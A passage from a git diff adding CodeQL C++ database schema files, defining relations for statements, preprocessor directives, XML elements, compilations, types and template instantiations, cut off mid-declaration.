Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_array_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int element_index: int ref, + int position: int ref, + boolean is_designated: boolean ref +); + +@ctorinit = @ctordirectinit + | @ctorvirtualinit + | @ctorfieldinit + | @ctordelegatinginit; +@dtordestruct = @dtordirectdestruct + | @dtorvirtualdestruct + | @dtorfielddestruct; + + +condition_decl_bind( + unique int expr: @condition_decl ref, + unique int decl: @declaration ref +); + +typeid_bind( + unique int expr: @type_id ref, + int type_id: @type ref +); + +uuidof_bind( + unique int expr: @uuidof ref, + int type_id: @type ref +); + +@sizeof_or_alignof = @runtime_sizeof | @runtime_alignof | @datasizeof | @sizeof_pack; + +sizeof_bind( + unique int expr: @sizeof_or_alignof ref, + int type_id: @type ref +); + +code_block( + unique int block: @literal ref, + unique int routine: @function ref +); + +lambdas( + unique int expr: @lambdaexpr ref, + string default_capture: string ref, + boolean has_explicit_return_type: boolean ref, + boolean has_explicit_parameter_list: boolean ref +); + +lambda_capture( + unique int id: @lambdacapture, + int lambda: @lambdaexpr ref, + int index: int ref, + int field: @membervariable ref, + boolean captured_by_reference: boolean ref, + boolean is_implicit: boolean ref, + int location: @location_default ref +); + +@funbindexpr = @routineexpr + | @new_expr + | @delete_expr + | @delete_array_expr + | @ctordirectinit + | @ctorvirtualinit + | @ctordelegatinginit + | @dtordirectdestruct + | @dtorvirtualdestruct; + +@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct; +@addressable = @function | @variable ; +@accessible = @addressable | @enumconstant ; + +@access = @varaccess | @routineexpr ; + +fold( + int expr: @foldexpr ref, + string operator: string ref, + boolean is_left_fold: boolean ref +); + +stmts( + unique int id: @stmt, + int kind: int ref, + int location: @location_default ref +); + +case @stmt.kind of + 1 = @stmt_expr +| 2 = @stmt_if +| 3 = @stmt_while +| 4 = @stmt_goto +| 5 = @stmt_label +| 6 = @stmt_return +| 7 = @stmt_block +| 8 = @stmt_end_test_while // do { ... } while ( ... ) +| 9 = @stmt_for +| 10 = @stmt_switch_case +| 11 = @stmt_switch +| 13 = @stmt_asm // "asm" statement or the body of an asm function +| 15 = @stmt_try_block +| 16 = @stmt_microsoft_try // Microsoft +| 17 = @stmt_decl +| 18 = @stmt_set_vla_size // C99 +| 19 = @stmt_vla_decl // C99 +| 25 = @stmt_assigned_goto // GNU +| 26 = @stmt_empty +| 27 = @stmt_continue +| 28 = @stmt_break +| 29 = @stmt_range_based_for // C++11 +// ... 30 @stmt_at_autoreleasepool_block deprecated +// ... 31 @stmt_objc_for_in deprecated +// ... 32 @stmt_at_synchronized deprecated +| 33 = @stmt_handler +// ... 34 @stmt_finally_end deprecated +| 35 = @stmt_constexpr_if +| 37 = @stmt_co_return +| 38 = @stmt_consteval_if +| 39 = @stmt_not_consteval_if +| 40 = @stmt_leave +; + +type_vla( + int type_id: @type ref, + int decl: @stmt_vla_decl ref +); + +variable_vla( + int var: @variable ref, + int decl: @stmt_vla_decl ref +); + +type_is_vla(unique int type_id: @derivedtype ref) + +if_initialization( + unique int if_stmt: @stmt_if ref, + int init_id: @stmt ref +); + +if_then( + unique int if_stmt: @stmt_if ref, + int then_id: @stmt ref +); + +if_else( + unique int if_stmt: @stmt_if ref, + int else_id: @stmt ref +); + +constexpr_if_initialization( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int init_id: @stmt ref +); + +constexpr_if_then( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int then_id: @stmt ref +); + +constexpr_if_else( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int else_id: @stmt ref +); + +@stmt_consteval_or_not_consteval_if = @stmt_consteval_if | @stmt_not_consteval_if; + +consteval_if_then( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int then_id: @stmt ref +); + +consteval_if_else( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int else_id: @stmt ref +); + +while_body( + unique int while_stmt: @stmt_while ref, + int body_id: @stmt ref +); + +do_body( + unique int do_stmt: @stmt_end_test_while ref, + int body_id: @stmt ref +); + +switch_initialization( + unique int switch_stmt: @stmt_switch ref, + int init_id: @stmt ref +); + +#keyset[switch_stmt, index] +switch_case( + int switch_stmt: @stmt_switch ref, + int index: int ref, + int case_id: @stmt_switch_case ref +); + +switch_body( + unique int switch_stmt: @stmt_switch ref, + int body_id: @stmt ref +); + +@stmt_for_or_range_based_for = @stmt_for + | @stmt_range_based_for; + +for_initialization( + unique int for_stmt: @stmt_for_or_range_based_for ref, + int init_id: @stmt ref +); + +for_condition( + unique int for_stmt: @stmt_for ref, + int condition_id: @expr ref +); + +for_update( + unique int for_stmt: @stmt_for ref, + int update_id: @expr ref +); + +for_body( + unique int for_stmt: @stmt_for ref, + int body_id: @stmt ref +); + +@stmtparent = @stmt | @expr_stmt ; +stmtparents( + unique int id: @stmt ref, + int index: int ref, + int parent: @stmtparent ref +); + +ishandler(unique int block: @stmt_block ref); + +@cfgnode = @stmt | @expr | @function | @initialiser ; + +stmt_decl_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl: @declaration ref +); + +stmt_decl_entry_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl_entry: @element ref +); + +@parameterized_element = @function | @stmt_block | @requires_expr; + +blockscope( + unique int block: @stmt_block ref, + int enclosing: @parameterized_element ref +); + +@jump = @stmt_goto | @stmt_break | @stmt_continue | @stmt_leave; + +@jumporlabel = @jump | @stmt_label | @literal; + +jumpinfo( + unique int id: @jumporlabel ref, + string str: string ref, + int target: @stmt ref +); + +preprocdirects( + unique int id: @preprocdirect, + int kind: int ref, + int location: @location_default ref +); +case @preprocdirect.kind of + 0 = @ppd_if +| 1 = @ppd_ifdef +| 2 = @ppd_ifndef +| 3 = @ppd_elif +| 4 = @ppd_else +| 5 = @ppd_endif +| 6 = @ppd_plain_include +| 7 = @ppd_define +| 8 = @ppd_undef +| 9 = @ppd_line +| 10 = @ppd_error +| 11 = @ppd_pragma +| 12 = @ppd_objc_import +| 13 = @ppd_include_next +| 14 = @ppd_ms_import +| 15 = @ppd_elifdef +| 16 = @ppd_elifndef +| 17 = @ppd_embed +| 18 = @ppd_warning +; + +@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next | @ppd_ms_import; + +@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif | @ppd_elifdef | @ppd_elifndef; + +preprocpair( + int begin : @ppd_branch ref, + int elseelifend : @preprocdirect ref +); + +preproctrue(int branch : @ppd_branch ref); +preprocfalse(int branch : @ppd_branch ref); + +preproctext( + unique int id: @preprocdirect ref, + string head: string ref, + string body: string ref +); + +includes( + unique int id: @ppd_include ref, + int included: @file ref +); + +embeds( + unique int id: @ppd_embed ref, + int included: @file ref +); + +link_targets( + int id: @link_target, + int binary: @file ref +); + +link_parent( + int element : @element ref, + int link_target : @link_target ref +); + +/*- Database metadata -*/ + +/** + * The CLI will automatically emit applicable tuples for this table, + * such as `databaseMetadata("isOverlay", "true")` when building an + * overlay database. + */ +databaseMetadata( + string metadataKey: string ref, + string value: string ref +); + +/*- Overlay support -*/ + +/** + * The CLI will automatically emit tuples for each new/modified/deleted file + * when building an overlay database. + */ +overlayChangedFiles( + string path: string ref +); + +/*- XML Files -*/ + +xmlEncoding( + unique int id: @file ref, + string encoding: string ref +); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref +); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref +); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref +); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref +); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref +); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref +); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref +); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref +); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; diff --git a/cpp/ql/lib/upgrades/ef8d209a22e27413aaaeff4446f0ecb9fa2c227b/semmlecode.cpp.dbscheme b/cpp/ql/lib/upgrades/ef8d209a22e27413aaaeff4446f0ecb9fa2c227b/semmlecode.cpp.dbscheme new file mode 100644 index 000000000000..0853f43dc8c0 --- /dev/null +++ b/cpp/ql/lib/upgrades/ef8d209a22e27413aaaeff4446f0ecb9fa2c227b/semmlecode.cpp.dbscheme @@ -0,0 +1,2578 @@ + +/*- Compilations -*/ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * gcc -c f1.c f2.c f3.c + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + /** + * An invocation of the compiler. Note that more than one file may + * be compiled per invocation. For example, this command compiles + * three source files: + * + * gcc -c f1.c f2.c f3.c + */ + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | *path to extractor* + * 1 | `--mimic` + * 2 | `/usr/bin/gcc` + * 3 | `-c` + * 4 | f1.c + * 5 | f2.c + * 6 | f3.c + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The expanded arguments that were passed to the extractor for a + * compiler invocation. This is similar to `compilation_args`, but + * for a `@someFile` argument, it includes the arguments from that + * file, rather than just taking the argument literally. + */ +#keyset[id, num] +compilation_expanded_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * Optionally, record the build mode for each compilation. + */ +compilation_build_mode( + unique int id : @compilation ref, + int mode : int ref +); + +/* +case @compilation_build_mode.mode of + 0 = @build_mode_none +| 1 = @build_mode_manual +| 2 = @build_mode_auto +; +*/ + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.c + * 1 | f2.c + * 2 | f3.c + * + * Note that even if those files `#include` headers, those headers + * do not appear as rows. + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +/*- External data -*/ + +/** + * External data, loaded from CSV files during snapshot creation. See + * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data) + * for more information. + */ +externalData( + int id : @externalDataElement, + string path : string ref, + int column: int ref, + string value : string ref +); + +/*- Source location prefix -*/ + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/*- Files and folders -*/ + +/** + * The location of an element. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @file | @folder + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +/*- Lines of code -*/ + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref +); + +/*- Diagnostic messages -*/ + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +/*- C++ dbscheme -*/ + +extractor_version( + string codeql_version: string ref, + string frontend_version: string ref +) + +/** + * Gives the TRAP filename that `trap` is associated with. + * For debugging only. + */ +trap_filename( + int trap: @trap, + string filename: string ref +); + +/** + * Gives the tag name for `tag`. + * For debugging only. + */ +tag_name( + int tag: @tag, + string name: string ref +); + +@trap_or_tag = @tag | @trap; + +/** + * Gives the name for the source file. + */ +source_file_name( + int sf: @source_file, + string name: string ref +); + +/** + * In `build-mode: none` overlay mode, indicates that `source_file` + * (`/path/to/foo.c`) uses the TRAP file `trap_file`; i.e. it is the + * TRAP file corresponding to `foo.c`, something it transitively + * includes, or a template instantiation it transitively uses. + */ +source_file_uses_trap( + int source_file: @source_file ref, + int trap_file: @trap ref +); + +/** + * In `build-mode: none` overlay mode, indicates that the TRAP file + * `trap_file` uses tag `tag`. + */ +trap_uses_tag( + int trap_file: @trap ref, + int tag: @tag ref +); + +/** + * Holds if there is a definition of `element` in TRAP file or tag `t`. + */ +in_trap_or_tag( + int element: @element ref, + int t: @trap_or_tag ref +); + +pch_uses( + int pch: @pch ref, + int compilation: @compilation ref, + int id: @file ref +) + +#keyset[pch, compilation] +pch_creations( + int pch: @pch, + int compilation: @compilation ref, + int from: @file ref +) + +/** An element for which line-count information is available. */ +@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable; + +fileannotations( + int id: @file ref, + int kind: int ref, + string name: string ref, + string value: string ref +); + +inmacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +affectedbymacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +case @macroinvocation.kind of + 1 = @macro_expansion +| 2 = @other_macro_reference +; + +macroinvocations( + unique int id: @macroinvocation, + int macro_id: @ppd_define ref, + int location: @location_default ref, + int kind: int ref +); + +macroparent( + unique int id: @macroinvocation ref, + int parent_id: @macroinvocation ref +); + +// a macroinvocation may be part of another location +// the way to find a constant expression that uses a macro +// is thus to find a constant expression that has a location +// to which a macro invocation is bound +macrolocationbind( + int id: @macroinvocation ref, + int location: @location_default ref +); + +#keyset[invocation, argument_index] +macro_argument_unexpanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +#keyset[invocation, argument_index] +macro_argument_expanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +case @function.kind of + 0 = @unknown_function +| 1 = @normal_function +| 2 = @constructor +| 3 = @destructor +| 4 = @conversion_function +| 5 = @operator +// ... 6 = @builtin_function deprecated // GCC built-in functions, e.g. __builtin___memcpy_chk +| 7 = @user_defined_literal +| 8 = @deduction_guide +; + +functions( + unique int id: @function, + string name: string ref, + int kind: int ref +); + +builtin_functions( + int id: @function ref +) + +function_entry_point( + int id: @function ref, + unique int entry_point: @stmt ref +); + +function_return_type( + int id: @function ref, + int return_type: @type ref +); + +/** + * If `function` is a coroutine, then this gives the `std::experimental::resumable_traits` + * instance associated with it, and the variables representing the `handle` and `promise` + * for it. + */ +coroutine( + unique int function: @function ref, + int traits: @type ref +); + +/* +case @coroutine_placeholder_variable.kind of + 1 = @handle +| 2 = @promise +| 3 = @init_await_resume +; +*/ + +coroutine_placeholder_variable( + unique int placeholder_variable: @variable ref, + int kind: int ref, + int function: @function ref +) + +/** The `new` function used for allocating the coroutine state, if any. */ +coroutine_new( + unique int function: @function ref, + int new: @function ref +); + +/** The `delete` function used for deallocating the coroutine state, if any. */ +coroutine_delete( + unique int function: @function ref, + int delete: @function ref +); + +purefunctions(unique int id: @function ref); + +function_deleted(unique int id: @function ref); + +function_defaulted(unique int id: @function ref); + +function_prototyped(unique int id: @function ref) + +deduction_guide_for_class( + int id: @function ref, + int class_template: @usertype ref +) + +member_function_this_type( + unique int id: @function ref, + int this_type: @type ref +); + +#keyset[id, type_id] +fun_decls( + int id: @fun_decl, + int function: @function ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +fun_def(unique int id: @fun_decl ref); +fun_specialized(unique int id: @fun_decl ref); +fun_implicit(unique int id: @fun_decl ref); +fun_decl_specifiers( + int id: @fun_decl ref, + string name: string ref +) +#keyset[fun_decl, index] +fun_decl_throws( + int fun_decl: @fun_decl ref, + int index: int ref, + int type_id: @type ref +); +/* an empty throw specification is different from none */ +fun_decl_empty_throws(unique int fun_decl: @fun_decl ref); +fun_decl_noexcept( + int fun_decl: @fun_decl ref, + int constant: @expr ref +); +fun_decl_empty_noexcept(int fun_decl: @fun_decl ref); +fun_decl_typedef_type( + unique int fun_decl: @fun_decl ref, + int typedeftype_id: @usertype ref +); + +/* +case @fun_requires.kind of + 1 = @template_attached +| 2 = @function_attached +; +*/ + +fun_requires( + int id: @fun_decl ref, + int kind: int ref, + int constraint: @expr ref +); + +param_decl_bind( + unique int id: @var_decl ref, + int index: int ref, + int fun_decl: @fun_decl ref +); + +#keyset[id, type_id] +var_decls( + int id: @var_decl, + int variable: @variable ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +var_def(unique int id: @var_decl ref); +var_specialized(int id: @var_decl ref); +var_decl_specifiers( + int id: @var_decl ref, + string name: string ref +) +is_structured_binding(unique int id: @variable ref); +var_requires( + int id: @var_decl ref, + int constraint: @expr ref +); + +type_decls( + unique int id: @type_decl, + int type_id: @type ref, + int location: @location_default ref +); +type_def(unique int id: @type_decl ref); +type_decl_top( + unique int type_decl: @type_decl ref +); +type_requires( + int id: @type_decl ref, + int constraint: @expr ref +); + +namespace_decls( + unique int id: @namespace_decl, + int namespace_id: @namespace ref, + int location: @location_default ref, + int bodylocation: @location_default ref +); + +case @using.kind of + 1 = @using_declaration +| 2 = @using_directive +| 3 = @using_enum_declaration +; + +usings( + unique int id: @using, + int element_id: @element ref, + int location: @location_default ref, + int kind: int ref +); + +/** The element which contains the `using` declaration. */ +using_container( + int parent: @element ref, + int child: @using ref +); + +static_asserts( + unique int id: @static_assert, + int condition : @expr ref, + string message : string ref, + int location: @location_default ref, + int enclosing : @element ref +); + +// each function has an ordered list of parameters +#keyset[id, type_id] +#keyset[function, index, type_id] +params( + int id: @parameter, + int function: @parameterized_element ref, + int index: int ref, + int type_id: @type ref +); + +overrides( + int new: @function ref, + int old: @function ref +); + +#keyset[id, type_id] +membervariables( + int id: @membervariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +globalvariables( + int id: @globalvariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +localvariables( + int id: @localvariable, + int type_id: @type ref, + string name: string ref +); + +autoderivation( + unique int var: @variable ref, + int derivation_type: @type ref +); + +orphaned_variables( + int var: @localvariable ref, + int function: @function ref +) + +enumconstants( + unique int id: @enumconstant, + int parent: @usertype ref, + int index: int ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); + +@variable = @localscopevariable | @globalvariable | @membervariable; + +@localscopevariable = @localvariable | @parameter; + +/** + * Built-in types are the fundamental types, e.g., integral, floating, and void. + */ +case @builtintype.kind of + 1 = @errortype +| 2 = @unknowntype +| 3 = @void +| 4 = @boolean +| 5 = @char +| 6 = @unsigned_char +| 7 = @signed_char +| 8 = @short +| 9 = @unsigned_short +| 10 = @signed_short +| 11 = @int +| 12 = @unsigned_int +| 13 = @signed_int +| 14 = @long +| 15 = @unsigned_long +| 16 = @signed_long +| 17 = @long_long +| 18 = @unsigned_long_long +| 19 = @signed_long_long +// ... 20 Microsoft-specific __int8 +// ... 21 Microsoft-specific __int16 +// ... 22 Microsoft-specific __int32 +// ... 23 Microsoft-specific __int64 +| 24 = @float +| 25 = @double +| 26 = @long_double +| 27 = @complex_float // C99-specific _Complex float +| 28 = @complex_double // C99-specific _Complex double +| 29 = @complex_long_double // C99-specific _Complex long double +| 30 = @imaginary_float // C99-specific _Imaginary float +| 31 = @imaginary_double // C99-specific _Imaginary double +| 32 = @imaginary_long_double // C99-specific _Imaginary long double +| 33 = @wchar_t // Microsoft-specific +| 34 = @decltype_nullptr // C++11 +| 35 = @int128 // __int128 +| 36 = @unsigned_int128 // unsigned __int128 +| 37 = @signed_int128 // signed __int128 +| 38 = @float128 // __float128 +| 39 = @complex_float128 // _Complex __float128 +// ... 40 _Decimal32 +// ... 41 _Decimal64 +// ... 42 _Decimal128 +| 43 = @char16_t +| 44 = @char32_t +| 45 = @std_float32 // _Float32 +| 46 = @float32x // _Float32x +| 47 = @std_float64 // _Float64 +| 48 = @float64x // _Float64x +| 49 = @std_float128 // _Float128 +// ... 50 _Float128x +| 51 = @char8_t +| 52 = @float16 // _Float16 +| 53 = @complex_float16 // _Complex _Float16 +| 54 = @fp16 // __fp16 +| 55 = @std_bfloat16 // __bf16 +| 56 = @std_float16 // std::float16_t +| 57 = @complex_std_float32 // _Complex _Float32 +| 58 = @complex_float32x // _Complex _Float32x +| 59 = @complex_std_float64 // _Complex _Float64 +| 60 = @complex_float64x // _Complex _Float64x +| 61 = @complex_std_float128 // _Complex _Float128 +| 62 = @mfp8 // __mfp8 +| 63 = @scalable_vector_count // __SVCount_t +| 64 = @complex_fp16 // _Complex __fp16 +| 65 = @complex_std_bfloat16 // _Complex __bf16 +| 66 = @complex_std_float16 // _Complex std::float16_t +; + +builtintypes( + unique int id: @builtintype, + string name: string ref, + int kind: int ref, + int size: int ref, + int sign: int ref, + int alignment: int ref +); + +/** + * Derived types are types that are directly derived from existing types and + * point to, refer to, transform type data to return a new type. + */ +case @derivedtype.kind of + 1 = @pointer +| 2 = @reference +| 3 = @type_with_specifiers +| 4 = @array +| 5 = @gnu_vector +| 6 = @routineptr +| 7 = @routinereference +| 8 = @rvalue_reference // C++11 +// ... 9 type_conforming_to_protocols deprecated +| 10 = @block +| 11 = @scalable_vector // Arm SVE +; + +derivedtypes( + unique int id: @derivedtype, + string name: string ref, + int kind: int ref, + int type_id: @type ref +); + +pointerishsize(unique int id: @derivedtype ref, + int size: int ref, + int alignment: int ref); + +arraysizes( + unique int id: @derivedtype ref, + int num_elements: int ref, + int bytesize: int ref, + int alignment: int ref +); + +tupleelements( + unique int id: @derivedtype ref, + int num_elements: int ref +); + +typedefbase( + unique int id: @usertype ref, + int type_id: @type ref +); + +/** + * An instance of the C++11 `decltype` operator or C23 `typeof`/`typeof_unqual` + * operator taking an expression as its argument. For example: + * ``` + * int a; + * decltype(1+a) b; + * typeof(1+a) c; + * ``` + * Here `expr` is `1+a`. + * + * Sometimes an additional pair of parentheses around the expression + * changes the semantics of the decltype, e.g. + * ``` + * struct A { double x; }; + * const A* a = new A(); + * decltype( a->x ); // type is double + * decltype((a->x)); // type is const double& + * ``` + * (Please consult the C++11 standard for more details). + * `parentheses_would_change_meaning` is `true` iff that is the case. + */ + +/* +case @decltype.kind of +| 0 = @decltype +| 1 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +; +*/ + +#keyset[id, expr] +decltypes( + int id: @decltype, + int expr: @expr ref, + int kind: int ref, + int base_type: @type ref, + boolean parentheses_would_change_meaning: boolean ref +); + +case @type_operator.kind of + 0 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +| 1 = @underlying_type +| 2 = @bases +| 3 = @direct_bases +| 4 = @add_lvalue_reference +| 5 = @add_pointer +| 6 = @add_rvalue_reference +| 7 = @decay +| 8 = @make_signed +| 9 = @make_unsigned +| 10 = @remove_all_extents +| 11 = @remove_const +| 12 = @remove_cv +| 13 = @remove_cvref +| 14 = @remove_extent +| 15 = @remove_pointer +| 16 = @remove_reference_t +| 17 = @remove_restrict +| 18 = @remove_volatile +| 19 = @remove_reference +; + +type_operators( + unique int id: @type_operator, + int arg_type: @type ref, + int kind: int ref, + int base_type: @type ref +) + +case @usertype.kind of + 0 = @unknown_usertype +| 1 = @struct +| 2 = @class +| 3 = @union +| 4 = @enum +// ... 5 = @typedef deprecated // classic C: typedef typedef type name +// ... 6 = @template deprecated +| 7 = @template_parameter +| 8 = @template_template_parameter +| 9 = @proxy_class // a proxy class associated with a template parameter +// ... 10 objc_class deprecated +// ... 11 objc_protocol deprecated +// ... 12 objc_category deprecated +| 13 = @scoped_enum +// ... 14 = @using_alias deprecated // a using name = type style typedef +| 15 = @template_struct +| 16 = @template_class +| 17 = @template_union +| 18 = @alias +; + +usertypes( + unique int id: @usertype, + string name: string ref, + int kind: int ref +); + +usertypesize( + unique int id: @usertype ref, + int size: int ref, + int alignment: int ref +); + +usertype_final(unique int id: @usertype ref); + +usertype_uuid( + unique int id: @usertype ref, + string uuid: string ref +); + +/* +case @usertype.alias_kind of +| 0 = @typedef +| 1 = @alias +*/ + +usertype_alias_kind( + int id: @usertype ref, + int alias_kind: int ref +) + +nontype_template_parameters( + int id: @expr ref +); + +type_template_type_constraint( + int id: @usertype ref, + int constraint: @expr ref +); + +mangled_name( + unique int id: @declaration ref, + int mangled_name : @mangledname, + boolean is_complete: boolean ref +); + +is_pod_class(unique int id: @usertype ref); +is_standard_layout_class(unique int id: @usertype ref); + +is_complete(unique int id: @usertype ref); + +is_class_template(unique int id: @usertype ref); +class_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +class_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +class_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); +class_template_generated_from( + unique int template: @usertype ref, + int from: @usertype ref +) + +@user_or_decltype = @usertype | @decltype; + +is_proxy_class_for( + unique int id: @usertype ref, + int templ_param_id: @user_or_decltype ref +); + +type_mentions( + unique int id: @type_mention, + int type_id: @type ref, + int location: @location_default ref, + // a_symbol_reference_kind from the frontend. + int kind: int ref +); + +is_function_template(unique int id: @function ref); +function_instantiation( + unique int to: @function ref, + int from: @function ref +); +function_template_argument( + int function_id: @function ref, + int index: int ref, + int arg_type: @type ref +); +function_template_argument_value( + int function_id: @function ref, + int index: int ref, + int arg_value: @expr ref +); +function_template_generated_from( + unique int template: @function ref, + int from: @function ref +); + +is_variable_template(unique int id: @variable ref); +variable_instantiation( + unique int to: @variable ref, + int from: @variable ref +); +variable_template_argument( + int variable_id: @variable ref, + int index: int ref, + int arg_type: @type ref +); +variable_template_argument_value( + int variable_id: @variable ref, + int index: int ref, + int arg_value: @expr ref +); +variable_template_generated_from( + unique int template: @variable ref, + int from: @variable ref +); + +is_alias_template(unique int id: @usertype ref); +alias_instantiation( + unique int to: @usertype ref, + int from: @usertype ref +); +alias_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +alias_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); +alias_template_generated_from( + unique int template: @usertype ref, + int from: @usertype ref +); + +template_template_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +template_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +template_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@concept = @concept_template | @concept_id; + +concept_templates( + unique int concept_id: @concept_template, + string name: string ref, + int location: @location_default ref +); +concept_instantiation( + unique int to: @concept_id ref, + int from: @concept_template ref +); +is_type_constraint(int concept_id: @concept_id ref); +concept_template_argument( + int concept_id: @concept ref, + int index: int ref, + int arg_type: @type ref +); +concept_template_argument_value( + int concept_id: @concept ref, + int index: int ref, + int arg_value: @expr ref +); + +routinetypes( + unique int id: @routinetype, + int return_type: @type ref +); + +routinetypeargs( + int routine: @routinetype ref, + int index: int ref, + int type_id: @type ref +); + +ptrtomembers( + unique int id: @ptrtomember, + int type_id: @type ref, + int class_id: @type ref +); + +/* + specifiers for types, functions, and variables + + "public", + "protected", + "private", + + "const", + "volatile", + "static", + + "pure", + "virtual", + "sealed", // Microsoft + "__interface", // Microsoft + "inline", + "explicit", + + "near", // near far extension + "far", // near far extension + "__ptr32", // Microsoft + "__ptr64", // Microsoft + "__sptr", // Microsoft + "__uptr", // Microsoft + "dllimport", // Microsoft + "dllexport", // Microsoft + "thread", // Microsoft + "naked", // Microsoft + "microsoft_inline", // Microsoft + "forceinline", // Microsoft + "selectany", // Microsoft + "nothrow", // Microsoft + "novtable", // Microsoft + "noreturn", // Microsoft + "noinline", // Microsoft + "noalias", // Microsoft + "restrict", // Microsoft +*/ + +specifiers( + unique int id: @specifier, + unique string str: string ref +); + +typespecifiers( + int type_id: @type ref, + int spec_id: @specifier ref +); + +funspecifiers( + int func_id: @function ref, + int spec_id: @specifier ref +); + +varspecifiers( + int var_id: @accessible ref, + int spec_id: @specifier ref +); + +explicit_specifier_exprs( + unique int func_id: @function ref, + int constant: @expr ref +) + +attributes( 